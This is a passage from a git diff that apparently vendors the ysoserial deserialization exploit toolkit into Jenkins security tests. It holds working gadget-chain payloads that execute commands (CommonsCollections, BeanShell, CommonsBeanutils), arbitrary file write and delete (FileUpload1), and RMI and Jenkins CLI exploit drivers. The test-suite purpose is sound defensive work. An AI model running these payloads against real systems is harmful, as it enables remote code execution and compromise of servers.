4 ) { + System.err.println(JenkinsListener.class.getName() + " "); + System.exit(-1); + } + + + final Object payloadObject = Utils.makePayloadObject(args[2], args[3]); + String myAddr = args[ 1 ]; + int jrmpPort = new Random().nextInt(65536 - 1024) + 1024; + String jenkinsUrl = args[ 0 ]; + + Thread t = null; + Channel c = null; + try { + InetSocketAddress isa = JenkinsCLI.getCliPort(jenkinsUrl); + c = JenkinsCLI.openChannel(isa); + JRMPListener listener = new JRMPListener(jrmpPort, payloadObject); + t = new Thread(listener, "ReverseDGC"); + t.setDaemon(true); + t.start(); + Registry payload = new JRMPClient().getObject(myAddr + ":" + jrmpPort); + c.call(JenkinsCLI.getPropertyCallable(payload)); + listener.waitFor(1000); + listener.close(); + } + catch ( Throwable e ) { + e.printStackTrace(); + } + finally { + if ( c != null ) { + try { + c.close(); + } + catch ( IOException e ) { + e.printStackTrace(System.err); + } + } + + if ( t != null ) { + t.interrupt(); + try { + t.join(); + } + catch ( InterruptedException e ) { + e.printStackTrace(System.err); + } + } + } + Utils.releasePayload(args[2], payloadObject); + } +} diff --git a/test/src/test/java/jenkins/security/security218/ysoserial/exploit/RMIRegistryExploit.java b/test/src/test/java/jenkins/security/security218/ysoserial/exploit/RMIRegistryExploit.java new file mode 100644 index 0000000000000000000000000000000000000000..9468a3dc4c44df5b8e8a867b2933528b760ab496 --- /dev/null +++ b/test/src/test/java/jenkins/security/security218/ysoserial/exploit/RMIRegistryExploit.java @@ -0,0 +1,52 @@ +package jenkins.security.security218.ysoserial.exploit; + +import java.rmi.Remote; +import java.rmi.registry.LocateRegistry; +import java.rmi.registry.Registry; +import java.util.concurrent.Callable; + +import jenkins.security.security218.ysoserial.payloads.CommonsCollections1; +import jenkins.security.security218.ysoserial.payloads.ObjectPayload; +import jenkins.security.security218.ysoserial.payloads.ObjectPayload.Utils; +import jenkins.security.security218.ysoserial.payloads.util.Gadgets; +import jenkins.security.security218.ysoserial.secmgr.ExecCheckingSecurityManager; + +/* + * Utility program for exploiting RMI registries running with required gadgets available in their ClassLoader. + * Attempts to exploit the registry itself, then enumerates registered endpoints and their interfaces. + * + * TODO: automatic exploitation of endpoints, potentially with automated download and use of jars containing remote + * interfaces. See http://www.findmaven.net/api/find/class/org.springframework.remoting.rmi.RmiInvocationHandler . + */ +@SuppressWarnings({"rawtypes", "unchecked"}) +public class RMIRegistryExploit { + public static void main(final String[] args) throws Exception { + final String host = args[0]; + final int port = Integer.parseInt(args[1]); + final String command = args[3]; + final Registry registry = LocateRegistry.getRegistry(host, port); + final String className = CommonsCollections1.class.getPackage().getName() + "." + args[2]; + final Class payloadClass = (Class) Class.forName(className); + + // ensure payload doesn't detonate during construction or deserialization + exploit(registry, payloadClass, command); + } + + public static void exploit(final Registry registry, + final Class payloadClass, + final String command) throws Exception { + new ExecCheckingSecurityManager().wrap(new Callable(){public Void call() throws Exception { + ObjectPayload payloadObj = payloadClass.newInstance(); + Object payload = payloadObj.getObject(command); + String name = "pwned" + System.nanoTime(); + Remote remote = Gadgets.createMemoitizedProxy(Gadgets.createMap(name, payload), Remote.class); + try { + registry.bind(name, remote); + } catch (Throwable e) { + e.printStackTrace(); + } + Utils.releasePayload(payloadObj, payload); + return null; + }}); + } +} diff --git a/test/src/test/java/jenkins/security/security218/ysoserial/payloads/BeanShell1.java b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/BeanShell1.java new file mode 100644 index 0000000000000000000000000000000000000000..0086afaa7062a86451023d4ff4a38872d3606aae --- /dev/null +++ b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/BeanShell1.java @@ -0,0 +1,51 @@ +package jenkins.security.security218.ysoserial.payloads; + +import bsh.Interpreter; +import bsh.XThis; + +import java.lang.reflect.InvocationHandler; +import java.lang.reflect.Proxy; +import java.util.Comparator; +import java.util.PriorityQueue; +import jenkins.security.security218.ysoserial.payloads.util.Reflections; +import jenkins.security.security218.ysoserial.payloads.annotation.Dependencies; +import jenkins.security.security218.ysoserial.payloads.util.PayloadRunner; + +/** + * Credits: Alvaro Munoz (@pwntester) and Christian Schneider (@cschneider4711) + */ + +@SuppressWarnings({ "rawtypes", "unchecked" }) +@Dependencies({ "org.beanshell:bsh:2.0b5" }) +public class BeanShell1 extends PayloadRunner implements ObjectPayload { + + public PriorityQueue getObject(String command) throws Exception { + // BeanShell payload + String payload = "compare(Object foo, Object bar) {new java.lang.ProcessBuilder(new String[]{\"" + command + "\"}).start();return new Integer(1);}"; + + // Create Interpreter + Interpreter i = new Interpreter(); + + // Evaluate payload + i.eval(payload); + + // Create InvocationHandler + XThis xt = new XThis(i.getNameSpace(), i); + InvocationHandler handler = (InvocationHandler) Reflections.getField(xt.getClass(), "invocationHandler").get(xt); + + // Create Comparator Proxy + Comparator comparator = (Comparator) Proxy.newProxyInstance(Comparator.class.getClassLoader(), new Class[]{Comparator.class}, handler); + + // Prepare Trigger Gadget (will call Comparator.compare() during deserialization) + final PriorityQueue priorityQueue = new PriorityQueue(2, comparator); + Object[] queue = new Object[] {1,1}; + Reflections.setFieldValue(priorityQueue, "queue", queue); + Reflections.setFieldValue(priorityQueue, "size", 2); + + return priorityQueue; + } + + public static void main(final String[] args) throws Exception { + PayloadRunner.run(BeanShell1.class, args); + } +} diff --git a/test/src/test/java/jenkins/security/security218/ysoserial/payloads/CommonsBeanutils1.java b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/CommonsBeanutils1.java new file mode 100755 index 0000000000000000000000000000000000000000..95db4e0eedaae5164dfa149bae04faaa6d7eaabd --- /dev/null +++ b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/CommonsBeanutils1.java @@ -0,0 +1,42 @@ +package jenkins.security.security218.ysoserial.payloads; + +import java.math.BigInteger; +import java.util.PriorityQueue; + +import org.apache.commons.beanutils.BeanComparator; + +import jenkins.security.security218.ysoserial.payloads.annotation.Dependencies; +import jenkins.security.security218.ysoserial.payloads.util.Gadgets; +import jenkins.security.security218.ysoserial.payloads.util.PayloadRunner; +import jenkins.security.security218.ysoserial.payloads.util.Reflections; + +@SuppressWarnings({ "rawtypes", "unchecked" }) +@Dependencies({"commons-beanutils:commons-beanutils:1.9.2", "commons-collections:commons-collections:3.1", "commons-logging:commons-logging:1.2"}) +public class CommonsBeanutils1 implements ObjectPayload { + + public Object getObject(final String command) throws Exception { + final Object templates = Gadgets.createTemplatesImpl(command); + // mock method name until armed + final BeanComparator comparator = new BeanComparator("lowestSetBit"); + + // create queue with numbers and basic comparator + final PriorityQueue queue = new PriorityQueue(2, comparator); + // stub data for replacement later + queue.add(new BigInteger("1")); + queue.add(new BigInteger("1")); + + // switch method called by comparator + Reflections.setFieldValue(comparator, "property", "outputProperties"); + + // switch contents of queue + final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue"); + queueArray[0] = templates; + queueArray[1] = templates; + + return queue; + } + + public static void main(final String[] args) throws Exception { + PayloadRunner.run(CommonsBeanutils1.class, args); + } +} \ No newline at end of file diff --git a/test/src/test/java/jenkins/security/security218/ysoserial/payloads/CommonsCollections3.java b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/CommonsCollections3.java new file mode 100755 index 0000000000000000000000000000000000000000..a388619ac11402b106bef57d09fa6ee78e3e0e6d --- /dev/null +++ b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/CommonsCollections3.java @@ -0,0 +1,66 @@ +package jenkins.security.security218.ysoserial.payloads; + +import java.lang.reflect.InvocationHandler; +import java.util.HashMap; +import java.util.Map; + +import javax.xml.transform.Templates; + +import org.apache.commons.collections.Transformer; +import org.apache.commons.collections.functors.ChainedTransformer; +import org.apache.commons.collections.functors.ConstantTransformer; +import org.apache.commons.collections.functors.InstantiateTransformer; +import org.apache.commons.collections.map.LazyMap; + +import jenkins.security.security218.ysoserial.payloads.annotation.Dependencies; +import jenkins.security.security218.ysoserial.payloads.annotation.PayloadTest; +import jenkins.security.security218.ysoserial.payloads.util.Gadgets; +import jenkins.security.security218.ysoserial.payloads.util.JavaVersion; +import jenkins.security.security218.ysoserial.payloads.util.PayloadRunner; +import jenkins.security.security218.ysoserial.payloads.util.Reflections; + +import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; + +/* + * Variation on CommonsCollections1 that uses InstantiateTransformer instead of + * InvokerTransformer. + */ +@SuppressWarnings({"rawtypes", "unchecked", "restriction"}) +@Dependencies({"commons-collections:commons-collections:3.1"}) +@PayloadTest ( precondition = "isApplicableJavaVersion") +public class CommonsCollections3 extends PayloadRunner implements ObjectPayload { + + public Object getObject(final String command) throws Exception { + Object templatesImpl = Gadgets.createTemplatesImpl(command); + + // inert chain for setup + final Transformer transformerChain = new ChainedTransformer( + new Transformer[]{ new ConstantTransformer(1) }); + // real chain for after setup + final Transformer[] transformers = new Transformer[] { + new ConstantTransformer(TrAXFilter.class), + new InstantiateTransformer( + new Class[] { Templates.class }, + new Object[] { templatesImpl } )}; + + final Map innerMap = new HashMap(); + + final Map lazyMap = LazyMap.decorate(innerMap, transformerChain); + + final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class); + + final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy); + + Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain + + return handler; + } + + public static void main(final String[] args) throws Exception { + PayloadRunner.run(CommonsCollections3.class, args); + } + + public static boolean isApplicableJavaVersion() { + return JavaVersion.isAnnInvHUniversalMethodImpl(); + } +} diff --git a/test/src/test/java/jenkins/security/security218/ysoserial/payloads/CommonsCollections4.java b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/CommonsCollections4.java new file mode 100644 index 0000000000000000000000000000000000000000..a973a66119e3c2e2f2c2ffade0c14b2d1ac655dc --- /dev/null +++ b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/CommonsCollections4.java @@ -0,0 +1,62 @@ +package jenkins.security.security218.ysoserial.payloads; + +import java.util.PriorityQueue; +import java.util.Queue; + +import javax.xml.transform.Templates; + +import org.apache.commons.collections4.Transformer; +import org.apache.commons.collections4.comparators.TransformingComparator; +import org.apache.commons.collections4.functors.ChainedTransformer; +import org.apache.commons.collections4.functors.ConstantTransformer; +import org.apache.commons.collections4.functors.InstantiateTransformer; + +import jenkins.security.security218.ysoserial.payloads.annotation.Dependencies; +import jenkins.security.security218.ysoserial.payloads.util.Gadgets; +import jenkins.security.security218.ysoserial.payloads.util.PayloadRunner; +import jenkins.security.security218.ysoserial.payloads.util.Reflections; + +import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; + +/* + * Variation on CommonsCollections2 that uses InstantiateTransformer instead of + * InvokerTransformer. + */ +@SuppressWarnings({ "rawtypes", "unchecked", "restriction" }) +@Dependencies({"org.apache.commons:commons-collections4:4.0"}) +public class CommonsCollections4 implements ObjectPayload> { + + public Queue getObject(final String command) throws Exception { + Object templates = Gadgets.createTemplatesImpl(command); + + ConstantTransformer constant = new ConstantTransformer(String.class); + + // mock method name until armed + Class[] paramTypes = new Class[] { String.class }; + Object[] args = new Object[] { "foo" }; + InstantiateTransformer instantiate = new InstantiateTransformer( + paramTypes, args); + + // grab defensively copied arrays + paramTypes = (Class[]) Reflections.getFieldValue(instantiate, "iParamTypes"); + args = (Object[]) Reflections.getFieldValue(instantiate, "iArgs"); + + ChainedTransformer chain = new ChainedTransformer(new Transformer[] { constant, instantiate }); + + // create queue with numbers + PriorityQueue queue = new PriorityQueue(2, new TransformingComparator(chain)); + queue.add(1); + queue.add(1); + + // swap in values to arm + Reflections.setFieldValue(constant, "iConstant", TrAXFilter.class); + paramTypes[0] = Templates.class; + args[0] = templates; + + return queue; + } + + public static void main(final String[] args) throws Exception { + PayloadRunner.run(CommonsCollections4.class, args); + } +} diff --git a/test/src/test/java/jenkins/security/security218/ysoserial/payloads/CommonsCollections5.java b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/CommonsCollections5.java new file mode 100644 index 0000000000000000000000000000000000000000..b45aaa9fa7471c8bf914960b63083feb105567e1 --- /dev/null +++ b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/CommonsCollections5.java @@ -0,0 +1,87 @@ +package jenkins.security.security218.ysoserial.payloads; + +import java.lang.reflect.Field; +import java.lang.reflect.InvocationHandler; +import java.util.HashMap; +import java.util.Map; + +import javax.management.BadAttributeValueExpException; + +import org.apache.commons.collections.Transformer; +import org.apache.commons.collections.functors.ChainedTransformer; +import org.apache.commons.collections.functors.ConstantTransformer; +import org.apache.commons.collections.functors.InvokerTransformer; +import org.apache.commons.collections.keyvalue.TiedMapEntry; +import org.apache.commons.collections.map.LazyMap; + +import jenkins.security.security218.ysoserial.payloads.annotation.Dependencies; +import jenkins.security.security218.ysoserial.payloads.annotation.PayloadTest; +import jenkins.security.security218.ysoserial.payloads.util.Gadgets; +import jenkins.security.security218.ysoserial.payloads.util.PayloadRunner; +import jenkins.security.security218.ysoserial.payloads.util.Reflections; + +/* + Gadget chain: + ObjectInputStream.readObject() + AnnotationInvocationHandler.readObject() + Map(Proxy).entrySet() + AnnotationInvocationHandler.invoke() + LazyMap.get() + ChainedTransformer.transform() + ConstantTransformer.transform() + InvokerTransformer.transform() + Method.invoke() + Class.getMethod() + InvokerTransformer.transform() + Method.invoke() + Runtime.getRuntime() + InvokerTransformer.transform() + Method.invoke() + Runtime.exec() + + Requires: + commons-collections + */ +@PayloadTest(skip="need more robust way to detect Runtime.exec() without SecurityManager()") +@SuppressWarnings({"rawtypes", "unchecked"}) +@Dependencies({"commons-collections:commons-collections:3.1"}) +public class CommonsCollections5 extends PayloadRunner implements ObjectPayload { + + public BadAttributeValueExpException getObject(final String command) throws Exception { + final String[] execArgs = new String[] { command }; + // inert chain for setup + final Transformer transformerChain = new ChainedTransformer( + new Transformer[]{ new ConstantTransformer(1) }); + // real chain for after setup + final Transformer[] transformers = new Transformer[] { + new ConstantTransformer(Runtime.class), + new InvokerTransformer("getMethod", new Class[] { + String.class, Class[].class }, new Object[] { + "getRuntime", new Class[0] }), + new InvokerTransformer("invoke", new Class[] { + Object.class, Object[].class }, new Object[] { + null, new Object[0] }), + new InvokerTransformer("exec", + new Class[] { String.class }, execArgs), + new ConstantTransformer(1) }; + + final Map innerMap = new HashMap(); + + final Map lazyMap = LazyMap.decorate(innerMap, transformerChain); + + TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo"); + + BadAttributeValueExpException val = new BadAttributeValueExpException(null); + Field valfield = val.getClass().getDeclaredField("val"); + valfield.setAccessible(true); + valfield.set(val, entry); + + Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain + + return val; + } + + public static void main(final String[] args) throws Exception { + PayloadRunner.run(CommonsCollections5.class, args); + } +} diff --git a/test/src/test/java/jenkins/security/security218/ysoserial/payloads/CommonsCollections6.java b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/CommonsCollections6.java new file mode 100644 index 0000000000000000000000000000000000000000..059b8c81959487f9b8898ee698028cdd58b8baad --- /dev/null +++ b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/CommonsCollections6.java @@ -0,0 +1,107 @@ +package jenkins.security.security218.ysoserial.payloads; + +import org.apache.commons.collections.Transformer; +import org.apache.commons.collections.functors.ChainedTransformer; +import org.apache.commons.collections.functors.ConstantTransformer; +import org.apache.commons.collections.functors.InvokerTransformer; +import org.apache.commons.collections.keyvalue.TiedMapEntry; +import org.apache.commons.collections.map.LazyMap; +import jenkins.security.security218.ysoserial.payloads.annotation.Dependencies; +import jenkins.security.security218.ysoserial.payloads.util.PayloadRunner; + +import java.io.Serializable; +import java.lang.reflect.Field; +import java.util.HashMap; +import java.util.HashSet; +import java.util.Map; + +/* + Gadget chain: + java.io.ObjectInputStream.readObject() + java.util.HashSet.readObject() + java.util.HashMap.put() + java.util.HashMap.hash() + org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode() + org.apache.commons.collections.keyvalue.TiedMapEntry.getValue() + org.apache.commons.collections.map.LazyMap.get() + org.apache.commons.collections.functors.ChainedTransformer.transform() + org.apache.commons.collections.functors.InvokerTransformer.transform() + java.lang.reflect.Method.invoke() + java.lang.Runtime.exec() + + by @matthias_kaiser +*/ +@SuppressWarnings({"rawtypes", "unchecked"}) +@Dependencies({"commons-collections:commons-collections:3.1"}) +public class CommonsCollections6 extends PayloadRunner implements ObjectPayload { + + public Serializable getObject(final String command) throws Exception { + + final String[] execArgs = new String[] { command }; + + final Transformer[] transformers = new Transformer[] { + new ConstantTransformer(Runtime.class), + new InvokerTransformer("getMethod", new Class[] { + String.class, Class[].class }, new Object[] { + "getRuntime", new Class[0] }), + new InvokerTransformer("invoke", new Class[] { + Object.class, Object[].class }, new Object[] { + null, new Object[0] }), + new InvokerTransformer("exec", + new Class[] { String.class }, execArgs), + new ConstantTransformer(1) }; + + Transformer transformerChain = new ChainedTransformer(transformers); + + final Map innerMap = new HashMap(); + + final Map lazyMap = LazyMap.decorate(innerMap, transformerChain); + + TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo"); + + HashSet map = new HashSet(1); + map.add("foo"); + Field f = null; + try { + f = HashSet.class.getDeclaredField("map"); + } catch (NoSuchFieldException e) { + f = HashSet.class.getDeclaredField("backingMap"); + } + + f.setAccessible(true); + HashMap innimpl = (HashMap) f.get(map); + + Field f2 = null; + try { + f2 = HashMap.class.getDeclaredField("table"); + } catch (NoSuchFieldException e) { + f2 = HashMap.class.getDeclaredField("elementData"); + } + + + f2.setAccessible(true); + Object[] array = (Object[]) f2.get(innimpl); + + Object node = array[0]; + if(node == null){ + node = array[1]; + } + + Field keyField = null; + try{ + keyField = node.getClass().getDeclaredField("key"); + }catch(Exception e){ + keyField = Class.forName("java.util.MapEntry").getDeclaredField("key"); + } + + keyField.setAccessible(true); + keyField.set(node, entry); + + return map; + + } + + public static void main(final String[] args) throws Exception { + PayloadRunner.run(CommonsCollections6.class, args); + } +} diff --git a/test/src/test/java/jenkins/security/security218/ysoserial/payloads/DynamicDependencies.java b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/DynamicDependencies.java new file mode 100644 index 0000000000000000000000000000000000000000..f65a6ba13fcaa9ade51ae869891faa1d8cca51f6 --- /dev/null +++ b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/DynamicDependencies.java @@ -0,0 +1,10 @@ +package jenkins.security.security218.ysoserial.payloads; + + +/** + * @author mbechler + * + */ +public interface DynamicDependencies { + +} diff --git a/test/src/test/java/jenkins/security/security218/ysoserial/payloads/FileUpload1.java b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/FileUpload1.java new file mode 100644 index 0000000000000000000000000000000000000000..3bc89b8d41baf7381a14ad2756f0988fcc42c150 --- /dev/null +++ b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/FileUpload1.java @@ -0,0 +1,112 @@ +package jenkins.security.security218.ysoserial.payloads; + + +import java.io.File; +import java.io.IOException; +import java.io.OutputStream; +import java.util.Arrays; + +import org.apache.commons.codec.binary.Base64; +import org.apache.commons.fileupload.disk.DiskFileItem; +import org.apache.commons.io.output.DeferredFileOutputStream; +import org.apache.commons.io.output.ThresholdingOutputStream; + +import jenkins.security.security218.ysoserial.payloads.annotation.Dependencies; +import jenkins.security.security218.ysoserial.payloads.annotation.PayloadTest; +import jenkins.security.security218.ysoserial.payloads.util.PayloadRunner; +import jenkins.security.security218.ysoserial.payloads.util.Reflections; + +/** + * Gadget chain: + * DiskFileItem.readObject() + * + * Arguments: + * - copyAndDelete;sourceFile;destDir + * - write;destDir;ascii-data + * - writeB64;destDir;base64-data + * - writeOld;destFile;ascii-data + * - writeOldB64;destFile;base64-data + * + * Yields: + * - copy an arbitraty file to an arbitrary directory (source file is deleted if possible) + * - pre 1.3.1 (+ old JRE): write data to an arbitrary file + * - 1.3.1+: write data to a more or less random file in an arbitrary directory + * + * @author mbechler + */ +@Dependencies ( { + "commons-fileupload:commons-fileupload:1.3.1", + "commons-io:commons-io:2.4" +} ) +@PayloadTest(harness="ysoserial.payloads.FileUploadTest") +public class FileUpload1 implements ReleaseableObjectPayload { + + public DiskFileItem getObject ( String command ) throws Exception { + + String[] parts = command.split(";"); + + if ( parts.length == 3 && "copyAndDelete".equals(parts[ 0 ]) ) { + return copyAndDelete(parts[ 1 ], parts[ 2 ]); + } + else if ( parts.length == 3 && "write".equals(parts[ 0 ]) ) { + return write(parts[ 1 ], parts[ 2 ].getBytes("US-ASCII")); + } + else if ( parts.length == 3 && "writeB64".equals(parts[ 0 ]) ) { + return write(parts[ 1 ], Base64.decodeBase64(parts[ 2 ])); + } + else if ( parts.length == 3 && "writeOld".equals(parts[ 0 ]) ) { + return writePre131(parts[ 1 ], parts[ 2 ].getBytes("US-ASCII")); + } + else if ( parts.length == 3 && "writeOldB64".equals(parts[ 0 ]) ) { + return writePre131(parts[ 1 ], Base64.decodeBase64(parts[ 2 ])); + } + else { + throw new IllegalArgumentException("Unsupported command " + command + " " + Arrays.toString(parts)); + } + } + + + public void release ( DiskFileItem obj ) throws Exception { + // otherwise the finalizer deletes the file + DeferredFileOutputStream dfos = new DeferredFileOutputStream(0, null); + Reflections.setFieldValue(obj, "dfos", dfos); + } + + private static DiskFileItem copyAndDelete ( String copyAndDelete, String copyTo ) throws IOException, Exception { + return makePayload(0, copyTo, copyAndDelete, new byte[1]); + } + + + // writes data to a random filename (update__.tmp) + private static DiskFileItem write ( String dir, byte[] data ) throws IOException, Exception { + return makePayload(data.length + 1, dir, dir + "/whatever", data); + } + + + // writes data to an arbitrary file + private static DiskFileItem writePre131 ( String file, byte[] data ) throws IOException, Exception { + return makePayload(data.length + 1, file + "\0", file, data); + } + + + private static DiskFileItem makePayload ( int thresh, String repoPath, String filePath, byte[] data ) throws IOException, Exception { + // if thresh < written length, delete outputFile after copying to repository temp file + // otherwise write the contents to repository temp file + File repository = new File(repoPath); + DiskFileItem diskFileItem = new DiskFileItem("test", "application/octet-stream", false, "test", 100000, repository); + File outputFile = new File(filePath); + DeferredFileOutputStream dfos = new DeferredFileOutputStream(thresh, outputFile); + OutputStream os = (OutputStream) Reflections.getFieldValue(dfos, "memoryOutputStream"); + os.write(data); + Reflections.getField(ThresholdingOutputStream.class, "written").set(dfos, data.length); + Reflections.setFieldValue(diskFileItem, "dfos", dfos); + Reflections.setFieldValue(diskFileItem, "sizeThreshold", 0); + return diskFileItem; + } + + + public static void main ( final String[] args ) throws Exception { + PayloadRunner.run(FileUpload1.class, args); + } + +} diff --git a/test/src/test/java/jenkins/security/security218/ysoserial/payloads/JRMPClient.java b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/JRMPClient.java new file mode 100644 index 0000000000000000000000000000000000000000..36c1711727831e92e7f0e6a461c7ce9aad39dc01 --- /dev/null +++ b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/JRMPClient.java @@ -0,0 +1,82 @@ +package jenkins.security.security218.ysoserial.payloads; + + +import java.lang.reflect.Proxy; +import java.rmi.registry.Registry; +import java.rmi.server.ObjID; +import java.rmi.server.RemoteObjectInvocationHandler; +import java.util.Random; + +import sun.rmi.server.UnicastRef; +import sun.rmi.transport.LiveRef; +import sun.rmi.transport.tcp.TCPEndpoint; +import jenkins.security.security218.ysoserial.payloads.annotation.PayloadTest; +import jenkins.security.security218.ysoserial.payloads.util.PayloadRunner; + + +/** + * + * + * UnicastRef.newCall(RemoteObject, Operation[], int, long) + * DGCImpl_Stub.dirty(ObjID[], long, Lease) + * DGCClient$EndpointEntry.makeDirtyCall(Set, long) + * DGCClient$EndpointEntry.registerRefs(List) + * DGCClient.registerRefs(Endpoint, List) + * LiveRef.read(ObjectInput, boolean) + * UnicastRef.readExternal(ObjectInput) + * + * Thread.start() + * DGCClient$EndpointEntry.(Endpoint) + * DGCClient$EndpointEntry.lookup(Endpoint) + * DGCClient.registerRefs(Endpoint, List) + * LiveRef.read(ObjectInput, boolean) + * UnicastRef.readExternal(ObjectInput) + * + * Requires: + * - JavaSE + * + * Argument: + * - host:port to connect to, host only chooses random port (DOS if repeated many times) + * + * Yields: + * * an established JRMP connection to the endpoint (if reachable) + * * a connected RMI Registry proxy + * * one system thread per endpoint (DOS) + * + * @author mbechler + */ +@SuppressWarnings ( { + "restriction" +} ) +@PayloadTest( harness = "ysoserial.payloads.JRMPReverseConnectSMTest") +public class JRMPClient extends PayloadRunner implements ObjectPayload { + + public Registry getObject ( final String command ) throws Exception { + + String host; + int port; + int sep = command.indexOf(':'); + if ( sep < 0 ) { + port = new Random().nextInt(65535); + host = command; + } + else { + host = command.substring(0, sep); + port = Integer.valueOf(command.substring(sep + 1)); + } + ObjID id = new ObjID(new Random().nextInt()); // RMI registry + TCPEndpoint te = new TCPEndpoint(host, port); + UnicastRef ref = new UnicastRef(new LiveRef(id, te, false)); + RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref); + Registry proxy = (Registry) Proxy.newProxyInstance(JRMPClient.class.getClassLoader(), new Class[] { + Registry.class + }, obj); + return proxy; + } + + + public static void main ( final String[] args ) throws Exception { + Thread.currentThread().setContextClassLoader(JRMPClient.class.getClassLoader()); + PayloadRunner.run(JRMPClient.class, args); + } +} diff --git a/test/src/test/java/jenkins/security/security218/ysoserial/payloads/JRMPListener.java b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/JRMPListener.java new file mode 100644 index 0000000000000000000000000000000000000000..a93d3b4b9aefb076717ea9b1d90e5b439baec719 --- /dev/null +++ b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/JRMPListener.java @@ -0,0 +1,55 @@ +package jenkins.security.security218.ysoserial.payloads; + + +import java.rmi.server.RemoteObject; +import java.rmi.server.RemoteRef; +import java.rmi.server.UnicastRemoteObject; + +import sun.rmi.server.ActivationGroupImpl; +import sun.rmi.server.UnicastServerRef; +import jenkins.security.security218.ysoserial.payloads.annotation.PayloadTest; +import jenkins.security.security218.ysoserial.payloads.util.PayloadRunner; +import jenkins.security.security218.ysoserial.payloads.util.Reflections; + + +/** + * Gadget chain: + * UnicastRemoteObject.readObject(ObjectInputStream) line: 235 + * UnicastRemoteObject.reexport() line: 266 + * UnicastRemoteObject.exportObject(Remote, int) line: 320 + * UnicastRemoteObject.exportObject(Remote, UnicastServerRef) line: 383 + * UnicastServerRef.exportObject(Remote, Object, boolean) line: 208 + * LiveRef.exportObject(Target) line: 147 + * TCPEndpoint.exportObject(Target) line: 411 + * TCPTransport.exportObject(Target) line: 249 + * TCPTransport.listen() line: 319 + * + * Requires: + * - JavaSE + * + * Argument: + * - Port number to open listener to + */ +@SuppressWarnings ( { + "restriction" +} ) +@PayloadTest( skip = "This test would make you potentially vulnerable") +public class JRMPListener extends PayloadRunner implements ObjectPayload { + + public UnicastRemoteObject getObject ( final String command ) throws Exception { + int jrmpPort = Integer.parseInt(command); + UnicastRemoteObject uro = Reflections.createWithConstructor(ActivationGroupImpl.class, RemoteObject.class, new Class[] { + RemoteRef.class + }, new Object[] { + new UnicastServerRef(jrmpPort) + }); + + Reflections.getField(UnicastRemoteObject.class, "port").set(uro, jrmpPort); + return uro; + } + + + public static void main ( final String[] args ) throws Exception { + PayloadRunner.run(JRMPListener.class, args); + } +} diff --git a/test/src/test/java/jenkins/security/security218/ysoserial/payloads/JSON1.java b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/JSON1.java new file mode 100644 index 0000000000000000000000000000000000000000..626827929e86e4d02fbb2c4fe3881d65d76c71a0 --- /dev/null +++ b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/JSON1.java @@ -0,0 +1,119 @@ +package jenkins.security.security218.ysoserial.payloads; + + +import jenkins.security.security218.ysoserial.payloads.annotation.Dependencies; +import jenkins.security.security218.ysoserial.payloads.util.Gadgets; +import jenkins.security.security218.ysoserial.payloads.util.PayloadRunner; +import jenkins.security.security218.ysoserial.payloads.util.Reflections; + +import java.lang.reflect.InvocationHandler; +import java.lang.reflect.InvocationTargetException; +import java.util.HashMap; +import java.util.Map; + +import javax.management.openmbean.CompositeData; +import javax.management.openmbean.CompositeType; +import javax.management.openmbean.OpenDataException; +import javax.management.openmbean.OpenType; +import javax.management.openmbean.TabularDataSupport; +import javax.management.openmbean.TabularType; + +import javax.xml.transform.Templates; + +import org.springframework.aop.framework.AdvisedSupport; +import com.sun.corba.se.spi.orbutil.proxy.CompositeInvocationHandlerImpl; +import net.sf.json.JSONObject; + + +/** + * + * A bit more convoluted example + * + * com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getOutputProperties() + * java.lang.reflect.Method.invoke(Object, Object...) + * org.springframework.aop.support.AopUtils.invokeJoinpointUsingReflection(Object, Method, Object[]) + * org.springframework.aop.framework.JdkDynamicAopProxy.invoke(Object, Method, Object[]) + * $Proxy0.getOutputProperties() + * java.lang.reflect.Method.invoke(Object, Object...) + * org.apache.commons.beanutils.PropertyUtilsBean.invokeMethod(Method, Object, Object[]) + * org.apache.commons.beanutils.PropertyUtilsBean.getSimpleProperty(Object, String) + * org.apache.commons.beanutils.PropertyUtilsBean.getNestedProperty(Object, String) + * org.apache.commons.beanutils.PropertyUtilsBean.getProperty(Object, String) + * org.apache.commons.beanutils.PropertyUtils.getProperty(Object, String) + * net.sf.json.JSONObject.defaultBeanProcessing(Object, JsonConfig) + * net.sf.json.JSONObject._fromBean(Object, JsonConfig) + * net.sf.json.JSONObject.fromObject(Object, JsonConfig) + * net.sf.json.JSONObject(AbstractJSON)._processValue(Object, JsonConfig) + * net.sf.json.JSONObject._processValue(Object, JsonConfig) + * net.sf.json.JSONObject.processValue(Object, JsonConfig) + * net.sf.json.JSONObject.containsValue(Object, JsonConfig) + * net.sf.json.JSONObject.containsValue(Object) + * javax.management.openmbean.TabularDataSupport.containsValue(CompositeData) + * javax.management.openmbean.TabularDataSupport.equals(Object) + * 